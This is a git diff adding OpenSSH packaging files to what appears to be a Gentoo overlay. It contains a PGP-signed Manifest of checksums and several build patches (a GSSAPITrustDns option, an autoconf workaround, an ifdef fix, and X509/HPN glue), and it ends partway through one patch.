+DIST openssh-5.7p1.tar.gz 1113345 SHA256 59057d727d902d8b04b2ce0ba8f288c6e02cb65aca183cc8d559a4a66426581b SHA512 9a4b8a96b96d9593159d3ee8fc2a2a0ede60efb795c9c92b3110ec193b1fdcab2a63eef546efb1e4a3045c9095f6de9e40fee669d2e1b30d562acb840dd069f4 WHIRLPOOL 3384ddfc34b36299d379e24f6c1e238b88d2599f820e8b14baa9d24e5ddd2883caf0c1a43650844511de4c790e4d439d763d2b26b9c622b168016a5b02c801e8
+DIST openssh-5.8p1+x509-6.2.4.diff.gz 170014 SHA256 029fce2cabb1a387b9f5784631dec0ee866e4e44ce34c819e1055c7c4a184744 SHA512 b648fcf55933adc73ac5efa0292e68cc74a491d1c7988ede9e07c882b024ac366330aca67766f4812e4ed49c7f79ff9bdcf32ff950ac3467d181657bbb9c1443 WHIRLPOOL 62641d0d0a745993a5f70082a4d682a3e82b274b2deb9ae1295397dda95296bd5a2033f5830060803430f17ded7bca6f7ab4930633ddeb92523a4b10c3721e81
+DIST openssh-5.8p1-hpn13v10.diff.bz2 20120 SHA256 24b4c0372f96262d0b162dff056d21212befe6a8fd8dddde88206aecdd85e11e SHA512 f83e43a581dec02804f5b900c956b301daa426687017e27a466b7ef6e38cfa02b1a1babeef79d891f437cc2ca032c07bb0c06c16d28115c88bf82af86815fbc1 WHIRLPOOL c31e28c348e58bedb180c1660545e6fcd2ada50c237c7178049912239ff04b2526478a869c255da8a16d5b824a1a5a7d313e2a1fb670d794102b55d1356d8e8d
+DIST openssh-5.8p1-hpn13v11.diff.gz 22993 SHA256 62b500d29d8889ce76c8b596eb65731d8ac3469d89d9c6eb29fec2a845159df7 SHA512 6e3ff1d0758881fb72ac05673161288fa81757d6126c8fcaefe43994bd176240bec64945dee39d23b6b2d0d0fcd78aea4de4cff395570d3acd9a6171825e00ba WHIRLPOOL 4ed3e2605c9ab4c7b83af615c65b984ba03904ff1140901bbe4a79fa19039b090b0e847093a50c8274aebd2f96b2309aa123c4ac6637b3ed1b65007dff9bf430
+DIST openssh-5.8p1.tar.gz 1113798 SHA256 e1c77a8f3562a5e779c59d64ab14a336c160a56db924eaf82b124ac0b6b1323b SHA512 efa2b27c9a59852e2ef17c54c85305432bc0ee444da4918ded0b7811d06ebd701f89c07598bce6c4bb6287bfe451dd67e2d86ff53769b9014c34fddd6e254f41 WHIRLPOOL 167d25f0519dd51ba912107e922f5e668bf5d2a82db7b2171732851de5fe077ce9290d23361ec0c085c651cb60c8aa4e23abfc10289a2fc87f622a5a3e3bf98d
+DIST openssh-5.8p2.tar.gz 1115475 SHA256 5c35ec7c966ce05cc4497ac59c0b54a556e55ae7368165cc8c4129694654f314 SHA512 cad3b92e2e5494d1cff25753913f8fd27041cb1083e2cb8d14faaed7e4d818a98a6c3038d48aa38c6b09caeec90589f12742549ca84d3355c316eed6642b5180 WHIRLPOOL 2515b6d0ca9c126a4ec9f12e280d458ff83d42acf9eef77791863d4d9d219a84a66cdb6546afc6c8cbb3f5a761d6c43f93d7757d10e12e5f67a143c4f04793f8
+DIST openssh-5.9p1+x509-7.0.diff.gz 181263 SHA256 a28e2535ecbf95deeef682682e7551459cc494bbc1c4ccb89be93cfe826d76ca SHA512 5f6e2be10ce8cf26fffcb782824f59c1f1ca0fa271800e162685ce74d1aac6d9035cfdacc87d3f859d3538bc0b22438a701dfc3c8108a130e6e4b7fdd36e6b16 WHIRLPOOL 00f92e2e235da11a87b30dc49e1a469a781482ea53ddf99fb892ec3796b9a68f62234c0ed72f2a3330f7af90f3afcdc90e2574b6ab5955ec6e64c13b75ab5e89
+DIST openssh-5.9p1-hpn13v11.diff.gz 21971 SHA256 6a47a9e57f87385cac9a380b0b1649b73532afaf40c15f62e9236427c84e7aae SHA512 6f7ae144ff61b4ec7913dc94c7ed9550cfcd30336e3bbfafc6c875c99cf0c90cd7f8ce89d530f2861b9bda95433d591673136ba5a31310226207f787257da3be WHIRLPOOL fe4d9f515e5c51b159b0aa51b01840003de443c2f3e8eca90b657d54f490273d1ba98dbabe2cf3a104edaa0971cae5f5f8c739691310822493f8f2705c01465d
+DIST openssh-5.9p1.tar.gz 1110014 SHA256 8d3e8b6b6ff04b525a6dfa6fdeb6a99043ccf6c3310cc32eba84c939b07777d5 SHA512 ccf13e3cb11489f9f7e4788f93ffae1f2c39d48819f0e9cd9197842abc922173d2c3c1ad1a87a2acf4497d67cb9edd48416098388fa33fc0b8e09456b1be7e2f WHIRLPOOL 2e8bd89fd14954a232602a912845ed29a08ca40637f8863fed675b19d18944125ecdbf292c45cf5c297584df6c3131ae4fd3c6bc62595dfebb3831120ea21cd1
+DIST openssh-6.0p1+x509-7.1.diff.gz 200986 SHA256 c11e3837704a24393353fe264d61ffea8c1f23c0cb5b8261866c25677930768b SHA512 f45e16a21955546829c70bbad67a6af2cdf60fc6019d34c8563c3c328ffc477d1b31c3443ce032e7ff29d027979ecade476679d33c40961ac4ba65f96dac4b7f WHIRLPOOL 120063e566d721c233ea02cdf2ea114b7f707248962c126dd9def5377188283bb9da58a32a2d49453f4c37ad7a975e03bcdf106a28a0cb7e655eacc7c3f965c1
+DIST openssh-6.0p1-hpn13v11.diff.bz2 19979 SHA256 a096f6ee6dfddb3996b5e7b806ece2a7709c8cce6560eb026c28d3fb56f71ee9 SHA512 2805ddac19a5c4962e6a57d9a6efd3f17ebac82ee2b6a7eed60521a4fd23468d4be7f67e59562120fb21e1efa7ab9213be5d8ab8e3ff6fb9c2ccd6d6989f460f WHIRLPOOL a588288d0b3a64a8414bf1061055dbf41b8370e59fd89ab6cdc2fc7b93046b467aefb9f9196a65f96bda395db38e3841e1ad781341919829de0d9d8d2a220df1
+DIST openssh-6.0p1-hpn13v12.diff.gz 20223 SHA256 b6158c10fac153dd2a9f5d9b29df1e4db17a91f84f100b99526655317d9bf4c0 SHA512 d5decf82bfdbdcdcea974b3a8d990929908077851a3a8c122bda37e439e19e69973a371ac46683840263ec3c85fb2393a70183786f94b2afaff6577209f202c2 WHIRLPOOL 9347431c34737294f98aa07d1c4468ab0357e766c1ff55ad2e39af10041d9fa0e0253d36c5dde354513c97cf7ccb19ac1db7214c25797d57d917d4ee5a1199da
+DIST openssh-6.0p1.tar.gz 1126034 SHA256 589d48e952d6c017e667873486b5df63222f9133d417d0002bd6429d9bd882de SHA512 4fe1f7e0d5e572575b11253916354b333a7eca558720885d5dceb7c89dc5da81cd57feaa4be756dfa4f3e9ef508e5f460e5fda221765191b1c02ae37431a444e WHIRLPOOL 7853155dfd35962ae31958600b6d4f94a3a916dac942f5f533cde3d85c8ea64066b887d66d7722bd647196f57df7ed27f62d5ec4588868754b6cdf999a404001
+DIST openssh-6.1p1+x509-7.2.1.diff.gz 208071 SHA256 02d3703d419fc72be819a4e7fc8cbbb269182862465b6a99cc7b2af32d75a181 SHA512 6c1786c2c32d884e7b8f15e39912ca1d8fb54b1132ffae6d8d4f262356a16267a8e549a822911d0f40eabe49015080ae35fdec521f90e0ef4d05554339f35fa0 WHIRLPOOL 7f260caebdc58fe415b3cb93b08600942a6b171b45df8ff1279d4280930a7103cbefac63ec7f32fdbf9bdcf64278c39bfd55c2dcb41ea5c4934574930494df67
+DIST openssh-6.1p1-hpn13v11.diff.bz2 19999 SHA256 08bfc1f3c582f23b3ce386e78baf37be4af03645fc6eef87f1ef819cc273ecc7 SHA512 4e21384ef4d0b7539c9b7aecb158748b959db7ec84fa023f7969c2db50794e1f68bab375cdea9c2ae8fe16b759650e250aa21d6b8772a1c671d2e1e59adef08a WHIRLPOOL 3918c2c118908e67de4523c8d1f142ca4b2d2d7c045c2337b2f7914096108cf1a138009a838519d292e53fec454ced3a9590bbddf93096bd377196bd7d73ed55
+DIST openssh-6.1p1.tar.gz 1134820 SHA256 d1c157f6c0852e90c191cc7c9018a583b51e3db4035489cb262639d337a1c411 SHA512 1cd58f18b047fa92a3155fa215d69c04e1f03914488a21bcda5434899df6055567e59f77063f0080b0cb437bb2396d3bf4050ed0c5ea2d1dc20d6fd928d5a76c WHIRLPOOL a1ecf33e8c4048c59e55d38cc8bb3f89357ac8fb74fdbb57e24e111e1749620fe6f7e329a744e3cfc9ced3e445539ce85926c7877a0f12475ccf14f124f9234b
+DIST openssh-lpk-5.4p1-0.3.13.patch.gz 18105 SHA256 4e5dbe769e487c914ecc5b104866f6d4412cbe35c3f2bed897d06f7d824878be SHA512 b79f7e6836162e65a13ca05813af80e6464a5880282da49232ee5b0d4b81c484d5ada37bef30daf2bc57c9b17be44cae4f3905d014b409cd3e380a6e4aaa5416 WHIRLPOOL 4b869ac914be2e9c1e297ba13c928bbf296d669fdd7f0f6d8a8c99fceed58fcc89c6f43f38511f023f9ca4a0051498c1a1abc5baeba8d63ed039c3953fcf71b3
+DIST openssh-lpk-5.6p1-0.3.13.patch.gz 18376 SHA256 42a76b67c390c3ed28efd6e1734ca5a7edfefc635c35086dbd610999130678e9 SHA512 b492fdae831fd93d34075d8656d85fb032993686e3341cb880c47c48e2b9b72c82b92f4e78d5ae649c536b4806a916236de3b158f7f43a1de816bd05de8bbb44 WHIRLPOOL cc02e5e0831bafab354fe7e3e63f51aefc2e1f81aefd5e5f0ba90dbd45e7fad979e04c6b3dce63899e0cdabcd65839c2e2f214b39a17c425a113dccd8af308a1
+DIST openssh-lpk-5.7p1-0.3.13.patch.gz 18392 SHA256 739fa32e267f2c30362bb953d597bcbb55b58d76e13f644004fa63ded81522f7 SHA512 8ff9e0561275bcfa6bdda203bde9be7b7512d3ecc8040157da3709878d4a64496ce60a6e2cd24179713a9cb84a27251229f7beddc81be5734c9444894298ab17 WHIRLPOOL bb4977e0d629e781e1b2838590579329865d503e7f36d2dadeab99dbf5232771c375b91f14115bcdc25160988a983b30b7a378edf16121493ace7ec167cd3f6f
+DIST openssh-lpk-5.8p2-0.3.14.patch.gz 18656 SHA256 adac5e13a4918e14e4d349f4360d9c740ae6f69de4e64520e8d51e8d39f969ad
+DIST openssh-lpk-5.9p1-0.3.14.patch.gz 18335 SHA256 1a922d57a2e7020bf597135437a57080d7d046c9f41a7a53559945ddddbe0892
+DIST openssh-lpk-6.0p1-0.3.14.patch.gz 18401 SHA256 d0f3d55fd92ecc45aa6120d6ea919c903e4828ce0c2b07612c742a2aa7648beb SHA512 ebf680b90bc289c0d69c22fd6fd666032cdcf4c3850ecdf03e264200d60c50a12f4a5254907c6ab850727216e7837176be5564ae22b68d9b80a67c62f372a9dd WHIRLPOOL 4f8b32c77fc2a9205d283109ccd787a3f37757c18060da39c63147ff09f6b922f4a57ca1ba8d0cdc692f3f1eaba3e5e88eb4287f728ddaaf544d2d425c0cca91
+DIST openssh-lpk-6.1p1-0.3.14.patch.gz 18458 SHA256 2d0e40116e021913668519a42743f89b8fb77f8d5beed863d620cc79999b0b79 SHA512 9cfd83e650cedbc3950b8cf80d0b36fbb7dff8fbe7d017378f9a2ae18189fa6e459e323dae6cd1fa1d82ff948f628563892d0a0f30113b3a8ba5269fe051e784 WHIRLPOOL c1ee5570f0bfb3191c602d575e0e05cabe7d42183bd78c07cac19a2743a59f110728e309fcee6f0b6abc7b141ae8c701d92d010d2b7737739b4cac92406552fa
+EBUILD openssh-5.5_p1-r2.ebuild 8625 SHA256 cda98fbb72c562d94bac4bc6b321c48e09e96e95951310baca8897c93ef4ac84 SHA512 f7474e9d8e715811deafafa005f0e334817842c23a471768ecfa7b39c191f814fb2036185fb75e215560d3dde981e88aae817cabd39c6cc9fd742a67abbaa1d6 WHIRLPOOL bf410ac43d256054cc2fc07df3da35ced52639614ce7baffad28810b855935a409a1d7ec5b234bcfed7757b57111738bac831c41393582e081e2b8e31725d09a
+EBUILD openssh-5.6_p1-r2.ebuild 8370 SHA256 5ecec16d7abc9eba39d2975e03c35cb1612228d8b1594c1d505d3635aae9def9 SHA512 a3651bea199fd0ecee659c224c71c61a272d6e50f3629b90be96b1791bd59d7e63359d5a086578ef1f939e4c4dc094d172d47687462f0aeca8297bdacfb0e6ba WHIRLPOOL 02b3b7ba353876208db93eee9dd1d24d2036b35e92bd28e77ca8e5385344bdd76982570c8531aa2fc434248cee00f0e9fcf0c8aa6d55b2dc208deaefc3b2b2e0
+EBUILD openssh-5.7_p1-r1.ebuild 8219 SHA256 64fa29443d86b501c498c169772c88d8876d170b994514c65cf894c72cf63589 SHA512 c9c17ad24fcea4a4b0e609599641adfde6c53d339ba499b35d27773ee82baa87c62bf4ce9317001e20ad0e5b3cb39f5fc3a8d379d670d57ce9edc56b992fe816 WHIRLPOOL 5a97c94fdfc3f8dff27dc219a6da2123544aa443a96dc13bedb1be22e5ebb03a89615d7990baf8b8fcb13405c2de3526258775c3c2f86d660818026da041a8ec
+EBUILD openssh-5.8_p1-r1.ebuild 8435 SHA256 a72a0f4112035018de06cd763e05493ea063ad7d116ec6e905d691c518fde827 SHA512 e31cc67ec7f5f2509d7d1805fe03041c6eaa654bcd3e4432e4f716a58f606e9e564f3b1f8d95efa4af12bc84cf56a7c4654211b6b315bad93898068864710781 WHIRLPOOL 0ad2c9a5e3a4be7cf21f68df686d0a8ee98f57402efd4824a7ed5ab4b16d593a3d763d2875f7e63da3745948265c933a1a5f1f346df9d7c0d1353acd3fe1b9fa
+EBUILD openssh-5.8_p2-r1.ebuild 8467 SHA256 7eda66c78adbf9cb0d7691d2f2c4be21f8539ca7a55046f37ab03bab7501af73 SHA512 43b9ed6ac1902cfcc825602fbc78f8ae55717b907428391be38f25317beed0ffdc272e98ac46b337af7a68c46b7e4fc542bdcb8d0fb1ad6e1562e114fb4bfb26 WHIRLPOOL 59c42c5a72594f229bb5a5c462f6c5d2c6fca8bd212e2d026af2bc4b20ee744524218f45bd4b06646d9486e8c840f83255956a57d0b7eeedeb894ea5251f08a0
+EBUILD openssh-5.8_p2.ebuild 8464 SHA256 005a6dfb61c7fe46c08535f0c30b62a5547591cce2685e80af1a8cec74f93fdf SHA512 8a7bad27d2fe68e24479dbaa86142da85463bd553c2e53cb755c671548315d09e04625df1328d9e31000ee7b5439bfb851b540597e9f8f1b787de07dcb14b587 WHIRLPOOL 647099c01574377c641e76f5fdd284b69e9e982d557ffccf7351a0649918b119d4b5cd74f785f20e9b9b5b37d05a43f6292c8a29b9a037dc1e1e18ea5be3afba
+EBUILD openssh-5.9_p1-r3.ebuild 9137 SHA256 d4e2eb9e518f104c5cc7913c0d7dfea959807eea3bb8063bc8efd7aefe5fcd85 SHA512 535d1c1d1586c59361a2050d6949aacf169ffac3ed787f0f44fc1bb2ab503af6967029e0f992e22d4a060acb3df6a6b104132a129c18c75231b1c37f19489a75 WHIRLPOOL 262f0ca3ef564b2a1f9adcea142978de80f0bdf9dd1fc94df720ce1f4a9848de8f18d48d81d3599f62293b3b725a98771c3fe036764421e46efa96a42029e28f
+EBUILD openssh-5.9_p1-r4.ebuild 9185 SHA256 d3c4541fd8edd84d2988b4705581ae6fa9f958978b85812bd3d1d996bdcd5cb2 SHA512 ec10770ffd4cff5720fc8d93df9f3f7055181a2a9007e1ee58ea2126bba2a99794de1c6f575e99408861f26c29dc7a813ed2081f8ce157770350a90396bcb5b5 WHIRLPOOL fb4bb9364649721063182227a63362e3af87f5a37191709a6c00f8ddf18b3635c62790a68ba60d96547247d2e89a4a4e04452287b45baa00b0eccae78b4bd4ff
+EBUILD openssh-6.0_p1-r1.ebuild 9463 SHA256 b1658b58445e9a5b2ae1881d8a8077a6da87414846f5b7aae10f56a763545bea SHA512 e346b7852c5e14bf4da2daed960df123088dc2fcadb00a611c557cf55187c8e45314b47e07cd41e9f09370383c6d3800b7dc61079d6d345811d4ee99aff2cdf4 WHIRLPOOL 0ff7c3832e352c2963d5529c0a060573ab386bb340295c0ef12559053a9d27e2e16514030c51ec9fb984eb02ef662bfd758860daa032df03309a8473f5c3b46f
+EBUILD openssh-6.0_p1.ebuild 9461 SHA256 1b34a9871749300d97de8fc920f1376c50118cea1f2d80a87a1011bb093d1d96 SHA512 087e1ffd699bdd7bd3e9032e46dc1cbbc5c5b94e460bf54a869757d68151bc06227f1a6fd5c486c04f7372e60f7d0ea18d50513956588d80538da965c32b5371 WHIRLPOOL dd5cc1d7b617886355e2f1e6ce28acd7afad05f3d99bfd515fa59c8b5d9fc461403913b8b68260dacf2a1bb6a33f4bf696680b5e27019d57f196d9dca6f1a24b
+EBUILD openssh-6.1_p1.ebuild 9408 SHA256 9ba2984e3adb5895117ada5a7f8ff5a3e0fb06abe7d067d5db4afac174ce0592 SHA512 8f0729a18e5ea9d939fddc62aaac7dd2b29e290c8025b0adda792676201fba4aee64e3a6130f7250d9c847fa0fbcf860c69df4eaf558e94bd2920b9300c92ff9 WHIRLPOOL a86aa71dcc60b2139d03e7dcd854305d6aecb00e5fa01fce54f4d517af08bb18f6187df497ba7acc493299158db0874158bc04c72163f61f7df416fdba3c9ec6
+MISC ChangeLog 72084 SHA256 a0b9b309b0d8b19bb72e00abd8c28396308fe55bff7ca4e52f40216441161b1c SHA512 8681c487eba5a6be09791735c124d9f1cadea7f79e14eb1746f50acdd53833cae66837d39ac0e4cd447156d1505e65c98054527c8c43b25c026c1bf031839370 WHIRLPOOL 00c69fd667d02c5563dd43e27fd8904c8619ad37ba4223b830bc81c0b5382024d13f7d52ca161e9e6f4ec6f8e7c5d45d8df003365dbaa7d2a3345c0e0dc777eb
+MISC metadata.xml 1599 SHA256 fddc51b98b6831f5bc0f1f5fdeb78c064f9c40fc5c9a9f31ec816890e6aade86 SHA512 62ff3ab2fc84f7612799080285cba1f26c0b299d4159b15812a4b4349bfa450ac5f4e038b187201a8cba4c169c47dc4c5d9c4dfe881ef15cef82deadb8d63852 WHIRLPOOL f0b8153f49fb357cc8f90dbcb7397b6be3b31987e9bdde375c172ef2f2464a91080bef04f0e050b97852cad0a26ac9b2f634188f7b910e7dfbf738dd06a80223
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQIcBAEBCAAGBQJQS5EMAAoJELEHsLL7fEFWiRMP/122iJHPCbQnNkZVZ2AMGG8V
+s8kOTftlxn0otHbWx/CGITdnaEObNAXlGaiSh9QUNR8jISlagpaqVN0q0w8y6um7
+OptqOWwYDnliKmsSufOEi8W6/8pJzUbAanw6v4zMssib6kVlcEp6OuTx/5vX5jZw
+C+sodbRgWdNFOFcjwIoEvG3Y4Q9HdxjHbZ36r/GNZ4F/kLQA3kQZdIDvUIUP4q1I
+hbKkILcOa546ltmvACSLYLcgKlHi9qE6SvC+MoXkRqGiklffVIQVNnDdOVy4xCEU
+5WZIfZ3DcDg+qBMgFbwgr9OqcAtKjWEQf4HF0hdHvvEHo+QGv0l3Xaj84MnGK3GD
+Wd6LNGfu4OM9PcifvBfw6SmH1OaHApJP0kGiPix4a8znMm5Q3nLQAV58A4TlRGyd
+i4wxJ5noWTz6wcoTR2TncpY3rCrO5gEyMdYdR6SPVrjooCBMaXHM5o0XBtRobzuh
+PeeYp8b7Esw6x6dopLuVmcwznB7NrZWyjgaMOTqADfnYUY3Mt8huJc74t0e7+bgt
+U4slQRQDfKg2uLbh88Oaun7jFhdHuAsuKWjs3/vvKYVDF5V29iesteftzCLcnp8u
+blB2qvPNFrMBDHz9OmhZI9420YgSdJkY9Bn9f74Tc68K2xE08PpL4KHUND/YnUsq
+DgKKMKpQ6UdZlfLXBarl
+=NaLj
+-----END PGP SIGNATURE-----
diff --git a/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch b/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch
new file mode 100644
index 00000000..c81ae5cb
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-4.7_p1-GSSAPI-dns.patch
@@ -0,0 +1,127 @@
+http://bugs.gentoo.org/165444
+https://bugzilla.mindrot.org/show_bug.cgi?id=1008
+
+Index: readconf.c
+===================================================================
+RCS file: /cvs/openssh/readconf.c,v
+retrieving revision 1.135
+diff -u -r1.135 readconf.c
+--- readconf.c	5 Aug 2006 02:39:40 -0000	1.135
++++ readconf.c	19 Aug 2006 11:59:52 -0000
+@@ -126,6 +126,7 @@
+ 	oClearAllForwardings, oNoHostAuthenticationForLocalhost,
+ 	oEnableSSHKeysign, oRekeyLimit, oVerifyHostKeyDNS, oConnectTimeout,
+ 	oAddressFamily, oGssAuthentication, oGssDelegateCreds,
++	oGssTrustDns, 
+ 	oServerAliveInterval, oServerAliveCountMax, oIdentitiesOnly,
+ 	oSendEnv, oControlPath, oControlMaster, oHashKnownHosts,
+ 	oTunnel, oTunnelDevice, oLocalCommand, oPermitLocalCommand,
+@@ -163,9 +164,11 @@
+ #if defined(GSSAPI)
+ 	{ "gssapiauthentication", oGssAuthentication },
+ 	{ "gssapidelegatecredentials", oGssDelegateCreds },
++	{ "gssapitrustdns", oGssTrustDns },
+ #else
+ 	{ "gssapiauthentication", oUnsupported },
+ 	{ "gssapidelegatecredentials", oUnsupported },
++	{ "gssapitrustdns", oUnsupported },
+ #endif
+ 	{ "fallbacktorsh", oDeprecated },
+ 	{ "usersh", oDeprecated },
+@@ -444,6 +447,10 @@
+ 		intptr = &options->gss_deleg_creds;
+ 		goto parse_flag;
+ 
++	case oGssTrustDns:
++		intptr = &options->gss_trust_dns;
++		goto parse_flag;
++
+ 	case oBatchMode:
+ 		intptr = &options->batch_mode;
+ 		goto parse_flag;
+@@ -1010,6 +1017,7 @@
+ 	options->challenge_response_authentication = -1;
+ 	options->gss_authentication = -1;
+ 	options->gss_deleg_creds = -1;
++	options->gss_trust_dns = -1;
+ 	options->password_authentication = -1;
+ 	options->kbd_interactive_authentication = -1;
+ 	options->kbd_interactive_devices = NULL;
+@@ -1100,6 +1108,8 @@
+ 		options->gss_authentication = 0;
+ 	if (options->gss_deleg_creds == -1)
+ 		options->gss_deleg_creds = 0;
++	if (options->gss_trust_dns == -1)
++		options->gss_trust_dns = 0;
+ 	if (options->password_authentication == -1)
+ 		options->password_authentication = 1;
+ 	if (options->kbd_interactive_authentication == -1)
+Index: readconf.h
+===================================================================
+RCS file: /cvs/openssh/readconf.h,v
+retrieving revision 1.63
+diff -u -r1.63 readconf.h
+--- readconf.h	5 Aug 2006 02:39:40 -0000	1.63
++++ readconf.h	19 Aug 2006 11:59:52 -0000
+@@ -45,6 +45,7 @@
+ 					/* Try S/Key or TIS, authentication. */
+ 	int     gss_authentication;	/* Try GSS authentication */
+ 	int     gss_deleg_creds;	/* Delegate GSS credentials */
++	int	gss_trust_dns;		/* Trust DNS for GSS canonicalization */
+ 	int     password_authentication;	/* Try password
+ 						 * authentication. */
+ 	int     kbd_interactive_authentication; /* Try keyboard-interactive auth. */
+Index: ssh_config.5
+===================================================================
+RCS file: /cvs/openssh/ssh_config.5,v
+retrieving revision 1.97
+diff -u -r1.97 ssh_config.5
+--- ssh_config.5	5 Aug 2006 01:34:51 -0000	1.97
++++ ssh_config.5	19 Aug 2006 11:59:53 -0000
+@@ -483,7 +483,16 @@
+ Forward (delegate) credentials to the server.
+ The default is
+ .Dq no .
+-Note that this option applies to protocol version 2 only.
++Note that this option applies to protocol version 2 connections using GSSAPI.
++.It Cm GSSAPITrustDns
++Set to 
++.Dq yes to indicate that the DNS is trusted to securely canonicalize
++the name of the host being connected to. If 
++.Dq no, the hostname entered on the
++command line will be passed untouched to the GSSAPI library.
++The default is
++.Dq no .
++This option only applies to protocol version 2 connections using GSSAPI.
+ .It Cm HashKnownHosts
+ Indicates that
+ .Xr ssh 1
+Index: sshconnect2.c
+===================================================================
+RCS file: /cvs/openssh/sshconnect2.c,v
+retrieving revision 1.151
+diff -u -r1.151 sshconnect2.c
+--- sshconnect2.c	18 Aug 2006 14:33:34 -0000	1.151
++++ sshconnect2.c	19 Aug 2006 11:59:53 -0000
+@@ -499,6 +499,12 @@
+ 	static u_int mech = 0;
+ 	OM_uint32 min;
+ 	int ok = 0;
++	const char *gss_host;
++
++	if (options.gss_trust_dns)
++		gss_host = get_canonical_hostname(1);
++	else
++		gss_host = authctxt->host;
+ 
+ 	/* Try one GSSAPI method at a time, rather than sending them all at
+ 	 * once. */
+@@ -511,7 +517,7 @@
+ 		/* My DER encoding requires length<128 */
+ 		if (gss_supported->elements[mech].length < 128 &&
+ 		    ssh_gssapi_check_mechanism(&gssctxt, 
+-		    &gss_supported->elements[mech], authctxt->host)) {
++		    &gss_supported->elements[mech], gss_host)) {
+ 			ok = 1; /* Mechanism works */
+ 		} else {
+ 			mech++;
diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch b/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch
new file mode 100644
index 00000000..24ad7a9c
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.2_p1-autoconf.patch
@@ -0,0 +1,15 @@
+workaround problems with autoconf-2.63
+
+http://lists.gnu.org/archive/html/autoconf/2009-04/msg00007.html
+
+--- a/configure.ac
++++ b/configure.ac
+@@ -3603,7 +3603,7 @@
+ #include <shadow.h>
+ 	struct spwd sp;
+ 	],[ sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; ],
+-	[ sp_expire_available=yes ], []
++	[ sp_expire_available=yes ], [:]
+ 	)
+ 
+ 	if test "x$sp_expire_available" = "xyes" ; then
diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch b/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch
new file mode 100644
index 00000000..8112d625
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.2_p1-gsskex-fix.patch
@@ -0,0 +1,16 @@
+--- clientloop.c
++++ clientloop.c
+@@ -1434,11 +1434,13 @@
+ 		if (!rekeying) {
+ 			channel_after_select(readset, writeset);
+ 
++#ifdef GSSAPI
+ 			if (options.gss_renewal_rekey &&
+ 			    ssh_gssapi_credentials_updated(GSS_C_NO_CONTEXT)) {
+ 				debug("credentials updated - forcing rekey");
+ 				need_rekeying = 1;
+ 			}
++#endif
+ 
+ 			if (need_rekeying || packet_need_rekeying()) {
+ 				debug("need rekeying");
diff --git a/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch
new file mode 100644
index 00000000..9428b74f
--- /dev/null
+++ b/net-misc/openssh-x/files/openssh-5.2_p1-x509-hpn-glue.patch
@@ -0,0 +1,91 @@
+Move things around so hpn applies cleanly when using X509.
+
+--- openssh-5.2p1+x509/Makefile.in
++++ openssh-5.2p1+x509/Makefile.in
+@@ -44,11 +44,12 @@
+ CC=@CC@
+ LD=@LD@
+ CFLAGS=@CFLAGS@
+-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@
++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@
+ LIBS=@LIBS@
+ SSHDLIBS=@SSHDLIBS@
+ LIBEDIT=@LIBEDIT@
+ LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@
++CPPFLAGS += @LDAP_CPPFLAGS@
+ AR=@AR@
+ AWK=@AWK@
+ RANLIB=@RANLIB@
+--- openssh-5.2p1+x509/servconf.c
++++ openssh-5.2p1+x509/servconf.c
+@@ -108,6 +108,17 @@
+ 	options->log_level = SYSLOG_LEVEL_NOT_SET;
+ 	options->rhosts_rsa_authentication = -1;
+ 	options->hostbased_authentication = -1;
++	options->hostbased_algorithms = NULL;
++	options->pubkey_algorithms = NULL;
++	ssh_x509flags_initialize(&options->x509flags, 1);
++#ifndef SSH_X509STORE_DISABLED
++	ssh_x509store_initialize(&options->ca);
++#endif /*ndef SSH_X509STORE_DISABLED*/
++#ifdef SSH_OCSP_ENABLED
++	options->va.type = -1;
++	options->va.certificate_file = NULL;
++	options->va.responder_url = NULL;
++#endif /*def SSH_OCSP_ENABLED*/
+ 	options->hostbased_uses_name_from_packet_only = -1;
+ 	options->rsa_authentication = -1;
+ 	options->pubkey_authentication = -1;
+@@ -152,18 +163,6 @@
+ 	options->adm_forced_command = NULL;
+ 	options->chroot_directory = NULL;
+ 	options->zero_knowledge_password_authentication = -1;
+-
+-	options->hostbased_algorithms = NULL;
+-	options->pubkey_algorithms = NULL;
+-	ssh_x509flags_initialize(&options->x509flags, 1);
+-#ifndef SSH_X509STORE_DISABLED
+-	ssh_x509store_initialize(&options->ca);
+-#endif /*ndef SSH_X509STORE_DISABLED*/
+-#ifdef SSH_OCSP_ENABLED
+-	options->va.type = -1;
+-	options->va.certificate_file = NULL;
+-	options->va.responder_url = NULL;
+-#endif /*def SSH_OCSP_ENABLED*/
+ }
+ 
+ void
+@@ -341,6 +340,16 @@
+ 	/* Portable-specific options */
+ 	sUsePAM,
+ 	/* Standard Options */
++	sHostbasedAlgorithms,
++	sPubkeyAlgorithms,
++	sX509KeyAlgorithm,
++	sAllowedClientCertPurpose,
++	sKeyAllowSelfIssued, sMandatoryCRL,
++	sCACertificateFile, sCACertificatePath,
++	sCARevocationFile, sCARevocationPath,
++	sCAldapVersion, sCAldapURL,
++	sVAType, sVACertificateFile,
++	sVAOCSPResponderURL,
+ 	sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime,
+ 	sPermitRootLogin, sLogFacility, sLogLevel,
+ 	sRhostsRSAAuthentication, sRSAAuthentication,
+@@ -364,16 +373,6 @@
+ 	sMatch, sPermitOpen, sForceCommand, sChrootDirectory,
+ 	sUsePrivilegeSeparation, sAllowAgentForwarding,
+ 	sZeroKnowledgePasswordAuthentication,
+-	sHostbasedAlgorithms,
+-	sPubkeyAlgorithms,
+-	sX509KeyAlgorithm,
+-	sAllowedClientCertPurpose,
+-	sKeyAllowSelfIssued, sMandatoryCRL,
+-	sCACertificateFile, sCACertificatePath,
+-	sCARevocationFile, sCARevocationPath,
